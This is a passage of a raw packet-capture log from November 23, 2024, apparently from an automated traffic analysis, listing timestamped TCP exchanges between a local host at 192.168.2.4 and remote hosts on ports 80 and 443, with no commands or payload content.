Nov 23, 2024 11:22:16.523328066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.523394108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.523428917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.523467064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.524173975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.524229050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.524257898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.524303913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.525058031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.525108099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.525131941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.525175095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.525902987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.525949955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.526005983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.526046991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.526778936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.526827097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.526855946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.527111053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.527704000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.527715921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.527751923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.528589964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.528601885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.528634071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.528647900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.529418945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.529448986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.529464960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.529494047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.530277014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.530297041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.530322075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.530333996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.531146049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.531193018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.531215906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.531258106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.532031059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.532079935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.532155037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.532193899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.532847881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.532890081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.532954931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.532994032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.533740044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.533786058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.534125090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.534166098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.534713030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.534761906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.534827948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.534873009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.535449028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.535497904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.535672903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.535715103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.536319971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.536361933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.536487103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.536529064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.537231922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.537244081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.537282944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.538052082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.538114071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.538119078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.538162947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.538966894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.539025068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.539041996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.539083004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.539948940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.539995909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.540018082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.540056944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.540755987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.540798903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.540828943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.540874958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.541606903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.541651011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.541673899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.541713953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.542474985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.542519093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.542718887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.542758942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.543292046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.543343067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.543406010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.543443918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.544142962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.544182062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.544188023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.544219971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.545304060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.545316935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.545351982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.545365095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.701474905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.701591969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.701649904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.701697111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.701860905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.701905012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.701977015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.702019930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.702171087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.702209949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.702872992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.702922106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.702997923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.703037024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.703747034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.703799009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.703835964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.703874111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.704628944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.704677105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.704754114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.704794884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.705465078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.705518961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.705575943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.705615044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.706366062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.706386089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.706413984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.706433058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.707175970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.707227945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.707328081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.707371950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.708098888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.708148956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.708151102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.708189011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.708950043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.709002018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.709008932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.709048033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.709803104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.709852934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.709887028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.709929943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.710649967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.710716009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.710793972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.710835934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.711519957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.711572886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.711658001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.711700916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.712418079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.712467909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.712495089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.712532997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.713282108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.713326931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.713407040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.713445902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.714134932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.714180946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.714299917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.714337111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.715006113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.715051889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.715137005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.715182066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.715836048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.715882063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.715964079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.716002941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.716716051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.716759920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.716768026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.716804028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.717609882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.717653990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.717736959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.717777967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.718458891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.718475103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.718508005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.718533039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.719451904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.719465971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.719497919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.719518900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.720196009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.720241070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.720371008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.720410109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.721138000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.721189022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.721213102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.721257925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.722006083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.722018003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.722057104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.722796917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.722845078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.722857952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.722897053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.723706007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.723753929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.723778963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.723823071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.724538088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.724581957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.724755049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.724795103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.725497961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.725543976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.725574017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.725615025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.726267099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.726311922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.726341009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.726382971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.727178097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.727222919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.727272987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.727318048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.728518963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.728535891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.728563070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.728584051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.729037046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.729078054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.729083061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.729115009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.729734898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.729774952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.729840040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.729882956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.730581045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.730626106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.730799913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.730875015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.731478930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.731528044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.731609106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.731651068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.732423067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.732439041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.732475042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.732498884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.733243942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.733285904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.733311892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.733352900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.734071016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.734116077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.734180927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.734222889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.735119104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.735162020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.735239029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.735282898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.735881090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.735923052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.735949039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.735986948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.736787081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.736833096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.736855030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.736893892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.737528086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.737565994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.737654924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.737695932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.738388062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.738445997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.738478899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.738526106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.739254951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.739298105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.739381075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.739423990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.740101099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.740163088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.740242958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.740283012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.741008043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.741059065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.741106033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.741149902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.741879940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.741930962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.742031097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.742070913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.742719889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.742762089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.742832899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.742870092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.743562937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.743606091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.743674040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.743719101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.744529009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.744597912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.744656086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.744703054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.745481968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.745517969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.745547056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.745562077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.746218920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.746256113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.746278048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.746298075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.760720015 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.806205034 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.807822943 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.807832003 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.808170080 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.808403969 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.808408022 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.809077978 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.809084892 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.809514999 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.809519053 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.853528023 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.881086111 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.881102085 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.889122009 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.889128923 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.902807951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.902863026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.902872086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.902909040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.903249025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.903290033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.903367996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.903408051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.904094934 CET	80	49765	31.41.244.11	192.168.2.4
